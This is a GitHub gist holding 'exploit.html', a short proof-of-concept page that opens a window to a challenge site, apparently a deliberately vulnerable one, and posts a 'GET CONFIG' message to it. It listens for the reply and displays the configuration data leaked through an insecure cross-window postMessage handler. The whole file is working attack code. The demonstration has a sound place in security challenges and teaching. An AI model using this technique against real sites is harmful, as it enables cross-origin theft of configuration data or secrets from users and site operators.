Created
May 16, 2019 18:02
-
-
Save LewisArdern/b53ce3269564d5492c79447b2dde9c65 to your computer and use it in GitHub Desktop.
exploit.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<script> | |
const run = () => { | |
pwn.postMessage(JSON.stringify({ key: 'GET CONFIG' }), "*") | |
} | |
document.addEventListener('DOMContentLoaded', () => { | |
pwn = window.open('https://challengemenow.now.sh') | |
window.addEventListener('message', (event) => { | |
alert(JSON.stringify(event.data)) | |
}, false) | |
setTimeout(run, 5000) | |
}) | |
</script> | |
</head> | |
<body> | |
<p>This page demonstrates the exploit, please wait 5 seconds…</p> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment